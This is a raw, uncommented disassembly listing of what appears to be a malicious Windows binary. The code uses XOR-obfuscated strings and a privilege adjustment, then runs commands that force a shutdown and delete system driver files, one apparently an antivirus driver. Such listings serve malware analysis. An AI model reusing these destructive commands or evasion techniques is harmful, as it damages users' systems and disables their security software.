vpxor xmm1, xmm0, xmmword [rbp - 0x60]
vmovdqu xmmword [rbp + 0xcb0], xmm1
lea rdx, [rbp + 0xc80]
lea rcx, [rbp + 0x800]
call fcn.14009b6b0
mov rbx, rax
mov qword [rsp + 0x60], rax
movabs rax, 0x136acef2384b1bb0
mov qword [rbp + 0x3d0], rax
mov qword [rbp + 0x3d8], r13
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r13
vmovdqu xmm0, xmmword [rsp + 0x70]
vpxor xmm1, xmm0, xmmword [rbp + 0x3d0]
vmovdqu xmmword [rbp + 0x3d0], xmm1
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x36]
lea rdx, [rbp + 0x3d0]
lea rcx, [rbp + 0x1ec0]
call fcn.14009b130
nop
cmp qword [rbp + 0x1f48], 0
je 0x14011754f
movabs rax, 0x4760d5ae39495487
mov qword [rbp + 0x3e0], rax
movabs rax, 0x265670dc4cbd5481
mov qword [rbp + 0x3e8], rax
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r13
vmovdqu xmm0, xmmword [rsp + 0x70]
vpxor xmm1, xmm0, xmmword [rbp + 0x3e0]
vmovdqu xmmword [rbp + 0x3e0], xmm1
lea rdx, [rbp + 0x3e0]
lea rcx, [rbp + 0x1ec0]
call fcn.14009d640
mov rdx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x140117532
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
mov rcx, rax
call fcn.14009fab0
lea rdx, [0x14009dbb0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x1ec0]
call fcn.140084d40
nop
jmp 0x1401172d1
call fcn.140084d80
movabs rax, 0xe32dfaa2441118e
mov qword [rbp + 0xcc0], rax
movabs rax, 0x433450f058a615b8
mov qword [rbp + 0xcc8], rax
movabs rax, 0x292cb2fccfb61bba
mov qword [rbp + 0xcd0], rax
movabs rax, 0x915003b2ad6017b2
mov qword [rbp + 0xcd8], rax
movabs rax, 0x58cb9cae461815b3
mov qword [rbp + 0xce0], rax
movabs rax, 0xb85b1bb936c010b2
mov qword [rbp + 0xce8], rax
movabs rax, 0x77a9a3b3483400ae
mov qword [rbp + 0xcf0], rax
movabs rax, 0xfcbdbcdc38b6378c
mov qword [rbp + 0xcf8], rax
movabs r14, 0x6712badc4b2c74dc
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r13
movabs rsi, 0x5c4ddedcaac474dc
mov qword [rbp - 0x80], rsi
movabs rdi, 0xfd7064dcc40874dc
mov qword [rbp - 0x78], rdi
movabs rax, 0x19ebb2dc237c74dc
mov qword [rbp - 0x70], rax
movabs rax, 0xd92f68dc44e074dc
mov qword [rbp - 0x68], rax
movabs rax, 0x57dbd6dc311474dc
mov qword [rbp - 0x60], rax
movabs rax, 0xfcbdbcdc389874dc
mov qword [rbp - 0x58], rax
vmovdqu xmm0, xmmword [rsp + 0x70]
vpxor xmm1, xmm0, xmmword [rbp + 0xcc0]
vmovdqu xmmword [rbp + 0xcc0], xmm1
vmovdqu xmm2, xmmword [rbp + 0xcd0]
vpxor xmm0, xmm2, xmmword [rbp - 0x80]
vmovdqu xmmword [rbp + 0xcd0], xmm0
vmovdqu xmm1, xmmword [rbp + 0xce0]
vpxor xmm2, xmm1, xmmword [rbp - 0x70]
vmovdqu xmmword [rbp + 0xce0], xmm2
vmovdqu xmm0, xmmword [rbp + 0xcf0]
vpxor xmm1, xmm0, xmmword [rbp - 0x60]
vmovdqu xmmword [rbp + 0xcf0], xmm1
lea rdx, [rbp + 0xcc0]
lea rcx, [rbp + 0x820]
call fcn.14009b6b0
mov rbx, rax
mov qword [rsp + 0x60], rax
movabs rax, 0x136acef2384b1bb0
mov qword [rbp + 0x3f0], rax
mov qword [rbp + 0x3f8], r13
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r13
vmovdqu xmm0, xmmword [rsp + 0x70]
vpxor xmm1, xmm0, xmmword [rbp + 0x3f0]
vmovdqu xmmword [rbp + 0x3f0], xmm1
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x36]
lea rdx, [rbp + 0x3f0]
lea rcx, [rbp + 0x1fd0]
call fcn.14009b130
nop
cmp qword [rbp + 0x2058], 0
je 0x1401177ad
movabs rax, 0x4760d5ae39495487
mov qword [rbp + 0x400], rax
movabs rax, 0x265670dc4cbd5481
mov qword [rbp + 0x408], rax
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r13
vmovdqu xmm0, xmmword [rsp + 0x70]
vpxor xmm1, xmm0, xmmword [rbp + 0x400]
vmovdqu xmmword [rbp + 0x400], xmm1
lea rdx, [rbp + 0x400]
lea rcx, [rbp + 0x1fd0]
call fcn.14009d640
mov rdx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x140117790
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
mov rcx, rax
call fcn.14009fab0
lea rdx, [0x14009dbb0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x1fd0]
call fcn.140084d40
nop
jmp 0x1401172d1
call fcn.140084d80
movabs rax, 0x3432dfaa2441118e
mov qword [rbp + 0xd00], rax
movabs rax, 0x67a34931ce215b4
mov qword [rbp + 0xd08], rax
movabs rax, 0x306dbbaec5a211be
mov qword [rbp + 0xd10], rax
movabs rax, 0x9a1e0db4a76601bd
mov qword [rbp + 0xd18], rax
movabs rax, 0x3799d7b8421318fc
mov qword [rbp + 0xd20], rax
movabs rax, 0xaa4a1afc208e35fc
mov qword [rbp + 0xd28], rax
movabs rax, 0x22b4affc456615a8
mov qword [rbp + 0xd30], rax
movabs rax, 0xfcbdbcf27bc854ae
mov qword [rbp + 0xd38], rax
movabs r14, 0x6712badc4b2c74dc
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r13
movabs rsi, 0x5c4ddedcaac474dc
mov qword [rbp - 0x80], rsi
movabs rdi, 0xfd7064dcc40874dc
mov qword [rbp - 0x78], rdi
movabs rax, 0x19ebb2dc237c74dc
mov qword [rbp - 0x70], rax
movabs rax, 0xd92f68dc44e074dc
mov qword [rbp - 0x68], rax
movabs rax, 0x57dbd6dc311474dc
mov qword [rbp - 0x60], rax
movabs rax, 0xfcbdbcdc389874dc
mov qword [rbp - 0x58], rax
vmovdqu xmm0, xmmword [rsp + 0x70]
vpxor xmm1, xmm0, xmmword [rbp + 0xd00]
vmovdqu xmmword [rbp + 0xd00], xmm1
vmovdqu xmm2, xmmword [rbp + 0xd10]
vpxor xmm0, xmm2, xmmword [rbp - 0x80]
vmovdqu xmmword [rbp + 0xd10], xmm0
vmovdqu xmm1, xmmword [rbp + 0xd20]
vpxor xmm2, xmm1, xmmword [rbp - 0x70]
vmovdqu xmmword [rbp + 0xd20], xmm2
vmovdqu xmm0, xmmword [rbp + 0xd30]
vpxor xmm1, xmm0, xmmword [rbp - 0x60]
vmovdqu xmmword [rbp + 0xd30], xmm1
lea rdx, [rbp + 0xd00]
lea rcx, [rbp + 0x840]
call fcn.14009b6b0
mov rbx, rax
mov qword [rsp + 0x60], rax
movabs rax, 0x136acef2384b1bb0
mov qword [rbp + 0x410], rax
mov qword [rbp + 0x418], r13
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r13
vmovdqu xmm0, xmmword [rsp + 0x70]
vpxor xmm1, xmm0, xmmword [rbp + 0x410]
vmovdqu xmmword [rbp + 0x410], xmm1
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x36]
lea rdx, [rbp + 0x410]
lea rcx, [rbp + 0x20e0]
call fcn.14009b130
nop
cmp qword [rbp + 0x2168], 0
je 0x140117a0b
movabs rax, 0x4760d5ae39495487
mov qword [rbp + 0x420], rax
movabs rax, 0x265670dc4cbd5481
mov qword [rbp + 0x428], rax
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r13
vmovdqu xmm0, xmmword [rsp + 0x70]
vpxor xmm1, xmm0, xmmword [rbp + 0x420]
vmovdqu xmmword [rbp + 0x420], xmm1
lea rdx, [rbp + 0x420]
lea rcx, [rbp + 0x20e0]
call fcn.14009d640
mov rdx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x1401179ee
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
mov rcx, rax
call fcn.14009fab0
lea rdx, [0x14009dbb0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x20e0]
call fcn.140084d40
nop
jmp 0x1401172d1
call fcn.140084d80
movabs rax, 0x3332dfa82e401198
mov qword [rbp + 0xd40], rax
movabs rax, 0x4332199402f100b5
mov qword [rbp + 0xd48], rax
movabs rax, 0x393fb1bacfa654f0
mov qword [rbp + 0xd50], rax
movabs rax, 0x941807b2b16918fc
mov qword [rbp + 0xd58], rax
movabs rax, 0x7c8fd3b34f5c13b2
mov qword [rbp + 0xd60], rax
movabs rax, 0xab0f0cb205c05aae
mov qword [rbp + 0xd68], rax
movabs rax, 0x2efba2ae506007b9
mov qword [rbp + 0xd70], rax
movabs rax, 0xfc93ff8c18ea01b3
mov qword [rbp + 0xd78], rax
movabs r14, 0x6712badc4b2c74dc
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r13
movabs rsi, 0x5c4ddedcaac474dc
mov qword [rbp - 0x80], rsi
movabs rdi, 0xfd7064dcc40874dc
mov qword [rbp - 0x78], rdi
movabs rax, 0x19ebb2dc237c74dc
mov qword [rbp - 0x70], rax
movabs rax, 0xd92f68dc44e074dc
mov qword [rbp - 0x68], rax
movabs rax, 0x57dbd6dc311474dc
mov qword [rbp - 0x60], rax
movabs rax, 0xfcbdbcdc389874dc
mov qword [rbp - 0x58], rax
vmovdqu xmm0, xmmword [rsp + 0x70]
vpxor xmm1, xmm0, xmmword [rbp + 0xd40]
vmovdqu xmmword [rbp + 0xd40], xmm1
vmovdqu xmm2, xmmword [rbp + 0xd50]
vpxor xmm0, xmm2, xmmword [rbp - 0x80]
vmovdqu xmmword [rbp + 0xd50], xmm0
vmovdqu xmm1, xmmword [rbp + 0xd60]
vpxor xmm2, xmm1, xmmword [rbp - 0x70]
vmovdqu xmmword [rbp + 0xd60], xmm2
vmovdqu xmm0, xmmword [rbp + 0xd70]
vpxor xmm1, xmm0, xmmword [rbp - 0x60]
vmovdqu xmmword [rbp + 0xd70], xmm1
lea rdx, [rbp + 0xd40]
lea rcx, [rbp + 0x860]
call fcn.14009b6b0
mov rbx, rax
mov qword [rsp + 0x60], rax
movabs rax, 0x136acef2384b1bb0
mov qword [rbp + 0x430], rax
mov qword [rbp + 0x438], r13
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r13
vmovdqu xmm0, xmmword [rsp + 0x70]
vpxor xmm1, xmm0, xmmword [rbp + 0x430]
vmovdqu xmmword [rbp + 0x430], xmm1
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x36]
lea rdx, [rbp + 0x430]
lea rcx, [rbp + 0x21f0]
call fcn.14009b130
nop
cmp qword [rbp + 0x2278], 0
je 0x140117c69
movabs rax, 0x4760d5ae39495487
mov qword [rbp + 0x440], rax
movabs rax, 0x265670dc4cbd5481
mov qword [rbp + 0x448], rax
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r13
vmovdqu xmm0, xmmword [rsp + 0x70]
vpxor xmm1, xmm0, xmmword [rbp + 0x440]
vmovdqu xmmword [rbp + 0x440], xmm1
lea rdx, [rbp + 0x440]
lea rcx, [rbp + 0x21f0]
call fcn.14009d640
mov rdx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x140117c4c
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
mov rcx, rax
call fcn.14009fab0
lea rdx, [0x14009dbb0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x21f0]
call fcn.140084d40
nop
jmp 0x1401172d1
call fcn.140084d80
movabs rax, 0x1f32dfa82e401198
mov qword [rbp + 0xd80], rax
movabs rax, 0x44765cbb0ef440ea
mov qword [rbp + 0xd88], rax
movabs rax, 0x3d21feb9d8ab12b9
mov qword [rbp + 0xd90], rax
movabs rax, 0xdd170ab5ac6b1aa9
mov qword [rbp + 0xd98], rax
movabs rax, 0x39c5c0b9471d1bb0
mov qword [rbp + 0xda0], rax
movabs rax, 0xad5c0dae64841a9d
mov qword [rbp + 0xda8], rax
movabs rax, 0x25aeb9a5116006bd
mov qword [rbp + 0xdb0], rax
movabs rax, 0xfcbdbcdc16db24fc
mov qword [rbp + 0xdb8], rax
movabs r14, 0x6712badc4b2c74dc
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r13
movabs rsi, 0x5c4ddedcaac474dc
mov qword [rbp - 0x80], rsi
movabs rdi, 0xfd7064dcc40874dc
mov qword [rbp - 0x78], rdi
movabs rax, 0x19ebb2dc237c74dc
mov qword [rbp - 0x70], rax
movabs rax, 0xd92f68dc44e074dc
mov qword [rbp - 0x68], rax
movabs rax, 0x57dbd6dc311474dc
mov qword [rbp - 0x60], rax
movabs rax, 0xfcbdbcdc389874dc
mov qword [rbp - 0x58], rax
vmovdqu xmm0, xmmword [rbp + 0xd80]
vpxor xmm1, xmm0, xmmword [rsp + 0x70]
vmovdqu xmmword [rbp + 0xd80], xmm1
vmovdqu xmm2, xmmword [rbp - 0x80]
vpxor xmm0, xmm2, xmmword [rbp + 0xd90]
vmovdqu xmmword [rbp + 0xd90], xmm0
vmovdqu xmm1, xmmword [rbp + 0xda0]
vpxor xmm2, xmm1, xmmword [rbp - 0x70]
vmovdqu xmmword [rbp + 0xda0], xmm2
vmovdqu xmm0, xmmword [rbp - 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0xdb0]
vmovdqu xmmword [rbp + 0xdb0], xmm1
lea rdx, [rbp + 0xd80]
lea rcx, [rbp + 0x880]
call fcn.14009b6b0
mov rbx, rax
mov qword [rsp + 0x60], rax
movabs rax, 0x136acef2384b1bb0
mov qword [rbp + 0x450], rax
mov qword [rbp + 0x458], r13
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r13
vmovdqu xmm0, xmmword [rsp + 0x70]
vpxor xmm1, xmm0, xmmword [rbp + 0x450]
vmovdqu xmmword [rbp + 0x450], xmm1
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x36]
lea rdx, [rbp + 0x450]
lea rcx, [rbp + 0x2300]
call fcn.14009b130
nop
cmp qword [rbp + 0x2388], 0
je 0x140117ec7
movabs rax, 0x4760d5ae39495487
mov qword [rbp + 0x460], rax
movabs rax, 0x265670dc4cbd5481
mov qword [rbp + 0x468], rax
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r13
vmovdqu xmm0, xmmword [rsp + 0x70]
vpxor xmm1, xmm0, xmmword [rbp + 0x460]
vmovdqu xmmword [rbp + 0x460], xmm1
lea rdx, [rbp + 0x460]
lea rcx, [rbp + 0x2300]
call fcn.14009d640
mov rdx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x140117eaa
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
mov rcx, rax
call fcn.14009fab0
lea rdx, [0x14009dbb0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x2300]
call fcn.140084d40
nop
mov rcx, rbx
call fcn.14009b5e0
nop
mov rdx, qword [rbp + 0x678]
cmp rdx, 0xf
jbe 0x140117f1e
inc rdx
mov rcx, qword [rbp + 0x660]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140117f19
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140118b6c
call fcn.1401cb090
mov qword [rbp + 0x670], r12
mov qword [rbp + 0x678], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x660], 0
vmovsd xmm0, qword [0x1401eb800]
vmovsd qword [rbp - 0x40], xmm0
mov eax, dword [0x1401eb808]
mov dword [rbp - 0x38], eax
movzx eax, word [0x1401eb80c]
mov word [rbp - 0x34], ax
cmp byte [0x1401eb80d], 0
je 0x140117f99
mov byte [rbp - 0x40], 0x44
xor byte [rbp - 0x3f], 0x37
xor byte [rbp - 0x3e], 0x38
xor byte [rbp - 0x3d], 0x39
xor byte [rbp - 0x3c], 0x3a
xor byte [rbp - 0x3b], 0x3b
xor byte [rbp - 0x3a], 0x3c
xor byte [rbp - 0x39], 0x3d
xor byte [rbp - 0x38], 0x3e
xor byte [rbp - 0x37], 0x3f
xor byte [rbp - 0x36], 0x40
xor byte [rbp - 0x35], 0x41
xor byte [rbp - 0x34], 0x42
xor byte [rbp - 0x33], 0x43
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x900]
call fcn.14009b6b0
mov rdx, rax
lea rcx, [0x140318b10]
call fcn.140171c90
call fcn.140084d80
call fcn.140084d80
movabs rax, 0xb7694b0274800b2
mov qword [rbp + 0x4d0], rax
movabs rax, 0x265670dc6c9074b0
mov qword [rbp + 0x4d8], rax
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r13
vmovdqu xmm0, xmmword [rsp + 0x70]
vpxor xmm1, xmm0, xmmword [rbp + 0x4d0]
vmovdqu xmmword [rbp + 0x4d0], xmm1
lea rcx, [rbp + 0x4d0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
je 0x14011813d
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x4e0], xmm0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp - 0x28]
mov edx, Ordinal_41
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1401180a8
lea r8, [rbp - 0x20]
lea rdx, [0x1401eb688]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov rcx, qword [rbp - 0x28]
test eax, eax
je 0x1401180a2
mov dword [rbp + 0x4e0], 1
mov rax, qword [rbp - 0x20]
mov qword [rbp + 0x4e4], rax
mov dword [rbp + 0x4ec], 2
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x4e0]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rbp - 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movabs rax, 0x1542ceb91840008e
mov qword [rbp + 0x920], rax
movabs rax, 0x652539af1ff517b3
mov qword [rbp + 0x928], rax
movabs rax, 0x5c21bfbfc3b01dae
mov qword [rbp + 0x930], rax
mov qword [rbp + 0x938], rdi
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r13
mov qword [rbp - 0x80], rsi
mov qword [rbp - 0x78], rdi
vmovdqu xmm0, xmmword [rsp + 0x70]
vpxor xmm1, xmm0, xmmword [rbp + 0x920]
vmovdqu xmmword [rbp + 0x920], xmm1
vmovdqu xmm2, xmmword [rbp + 0x930]
vpxor xmm0, xmm2, xmmword [rbp - 0x80]
vmovdqu xmmword [rbp + 0x930], xmm0
lea rdx, [rbp + 0x920]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14011813d
xor r8d, r8d
xor edx, edx
mov cl, 1
call rax
lea rcx, str.shutdown_shutdown__s__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del_C:_Windows_System32_drivers_vhda64v.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del_C:_Windows_System32_drivers_netio.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del_C:_Windows_System32_drivers_aswVmm.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.shutdown__s__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.140084d80
lea rdx, [0x1401d3290]
lea rcx, [rbp + 0x940]
call fcn.14009b6b0
mov rdx, rax
lea rcx, [0x140318b10]
call fcn.14016c580
jmp 0x1401152ce
call fcn.140084d80
movabs rax, 0x3032dfa82e401198
mov qword [rbp + 0xdc0], rax
movabs rax, 0x4d2411b41ff506b5
mov qword [rbp + 0xdc8], rax
movabs rax, 0x393fb1bacfa654f0
mov qword [rbp + 0xdd0], rax
movabs rax, 0x941807b2b16918fc
mov qword [rbp + 0xdd8], rax
movabs rax, 0x7c8fd3b34f5c13b2
mov qword [rbp + 0xde0], rax
movabs rax, 0xab0f0cb205c05aae
mov qword [rbp + 0xde8], rax
movabs rax, 0x2efba2ae506007b9
mov qword [rbp + 0xdf0], rax
movabs rax, 0xfc93ff8c18ea01b3
mov qword [rbp + 0xdf8], rax
movabs r14, 0x6712badc4b2c74dc
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r13
movabs rsi, 0x5c4ddedcaac474dc
mov qword [rbp - 0x80], rsi
movabs rdi, 0xfd7064dcc40874dc
mov qword [rbp - 0x78], rdi
movabs rax, 0x19ebb2dc237c74dc
mov qword [rbp - 0x70], rax
movabs rax, 0xd92f68dc44e074dc
mov qword [rbp - 0x68], rax
movabs rax, 0x57dbd6dc311474dc
mov qword [rbp - 0x60], rax
movabs rax, 0xfcbdbcdc389874dc
mov qword [rbp - 0x58], rax
vmovdqu xmm0, xmmword [rbp + 0xdc0]
vpxor xmm1, xmm0, xmmword [rsp + 0x70]
vmovdqu xmmword [rbp + 0xdc0], xmm1
vmovdqu xmm2, xmmword [rbp - 0x80]
vpxor xmm0, xmm2, xmmword [rbp + 0xdd0]
vmovdqu xmmword [rbp + 0xdd0], xmm0
vmovdqu xmm1, xmmword [rbp - 0x70]
vpxor xmm2, xmm1, xmmword [rbp + 0xde0]
vmovdqu xmmword [rbp + 0xde0], xmm2
vmovdqu xmm0, xmmword [rbp - 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0xdf0]
vmovdqu xmmword [rbp + 0xdf0], xmm1
lea rdx, [rbp + 0xdc0]
lea rcx, [rbp + 0x8a0]
call fcn.14009b6b0
mov rbx, rax
mov qword [rsp + 0x60], rax
movabs rax, 0x136acef2384b1bb0
mov qword [rbp + 0x470], rax
mov qword [rbp + 0x478], r13
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r13
vmovdqu xmm0, xmmword [rbp + 0x470]
vpxor xmm1, xmm0, xmmword [rsp + 0x70]
vmovdqu xmmword [rbp + 0x470], xmm1
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x36]
lea rdx, [rbp + 0x470]
lea rcx, [rbp + 0x2410]
call fcn.14009b130
nop
cmp qword [rbp + 0x2498], 0
je 0x1401183f6
movabs rax, 0x4760d5ae39495487
mov qword [rbp + 0x480], rax
movabs rax, 0x265670dc4cbd5481
mov qword [rbp + 0x488], rax
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r13
vmovdqu xmm0, xmmword [rbp + 0x480]
vpxor xmm1, xmm0, xmmword [rsp + 0x70]
vmovdqu xmmword [rbp + 0x480], xmm1
lea rdx, [rbp + 0x480]
lea rcx, [rbp + 0x2410]
call fcn.14009d640
mov rdx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x1401183d9
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
mov rcx, rax
call fcn.14009fab0
lea rdx, [0x14009dbb0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rax, qword [rbp + 0x2410]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x2410], rax
mov rax, qword [rbp + 0x2410]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x240c], edx
lea rcx, [rbp + 0x2418]
call fcn.14009b040
lea rcx, [rbp + 0x2420]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x24b8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
jmp 0x140117ed4
call fcn.140084d80
movabs rax, 0x2f32dfa82e401198
mov qword [rbp + 0xf90], rax
movabs rax, 0x533415984cc02088
mov qword [rbp + 0xf98], rax
movabs rax, 0x392ffef0d8a113bb
mov qword [rbp + 0xfa0], rax
movabs rax, 0x881108fca17a1bba
mov qword [rbp + 0xfa8], rax
movabs rax, 0x75cbd5b24a1417b2
mov qword [rbp + 0xfb0], rax
movabs rax, 0x980f46ae218415b3
mov qword [rbp + 0xfb8], rax
movabs rax, 0x36afa5b9433410b2
mov qword [rbp + 0xfc0], rax
movabs rax, 0xdccfc9b341b800ae
mov qword [rbp + 0xfc8], rax
movabs rax, 0x7b6a2adc24e2378c
mov qword [rbp + 0xfd0], rax
movabs rbx, 0xd4bd60dccb3074dc
mov qword [rbp + 0xfd8], rbx
movabs r14, 0x6712badc4b2c74dc
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r13
movabs rsi, 0x5c4ddedcaac474dc
mov qword [rbp - 0x80], rsi
movabs rdi, 0xfd7064dcc40874dc
mov qword [rbp - 0x78], rdi
movabs rax, 0x19ebb2dc237c74dc
mov qword [rbp - 0x70], rax
movabs rax, 0xd92f68dc44e074dc
mov qword [rbp - 0x68], rax
movabs rax, 0x57dbd6dc311474dc
mov qword [rbp - 0x60], rax
movabs rax, 0xfcbdbcdc389874dc
mov qword [rbp - 0x58], rax
movabs rax, 0x7b6a2adc24cc74dc
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rbx
vmovdqu xmm0, xmmword [rbp + 0xf90]
vpxor xmm1, xmm0, xmmword [rsp + 0x70]
vmovdqu xmmword [rbp + 0xf90], xmm1
vmovdqu xmm2, xmmword [rbp - 0x80]
vpxor xmm0, xmm2, xmmword [rbp + 0xfa0]
vmovdqu xmmword [rbp + 0xfa0], xmm0
vmovdqu xmm1, xmmword [rbp - 0x70]
vpxor xmm2, xmm1, xmmword [rbp + 0xfb0]
vmovdqu xmmword [rbp + 0xfb0], xmm2
vmovdqu xmm0, xmmword [rbp - 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0xfc0]
vmovdqu xmmword [rbp + 0xfc0], xmm1
vmovdqu xmm2, xmmword [rbp - 0x50]
vpxor xmm0, xmm2, xmmword [rbp + 0xfd0]
vmovdqu xmmword [rbp + 0xfd0], xmm0
vpxor xmm1, xmm1, xmm1
vmovups xmmword [rbp + 0x8c0], xmm1
mov qword [rbp + 0x8d0], r12
mov qword [rbp + 0x8d8], r12
lea rax, [rbp + 0xf90]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140118610
lea rdx, [rbp + 0xf90]
lea rcx, [rbp + 0x8c0]
call fcn.14009dee0
lea rax, [rbp + 0x8c0]
mov qword [rsp + 0x60], rax
movabs rax, 0x136acef2384b1bb0
mov qword [rbp + 0x490], rax
mov qword [rbp + 0x498], r13
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r13
vmovdqu xmm0, xmmword [rbp + 0x490]
vpxor xmm1, xmm0, xmmword [rsp + 0x70]
vmovdqu xmmword [rbp + 0x490], xmm1
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x36]
lea rdx, [rbp + 0x490]
lea rcx, [rbp + 0x2520]
call fcn.14009b130
nop
cmp qword [rbp + 0x25a8], 0
je 0x140118731
movabs rax, 0x4760d5ae39495487
mov qword [rbp + 0x4a0], rax
movabs rax, 0x265670dc4cbd5481
mov qword [rbp + 0x4a8], rax
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r13
vmovdqu xmm0, xmmword [rbp + 0x4a0]
vpxor xmm1, xmm0, xmmword [rsp + 0x70]
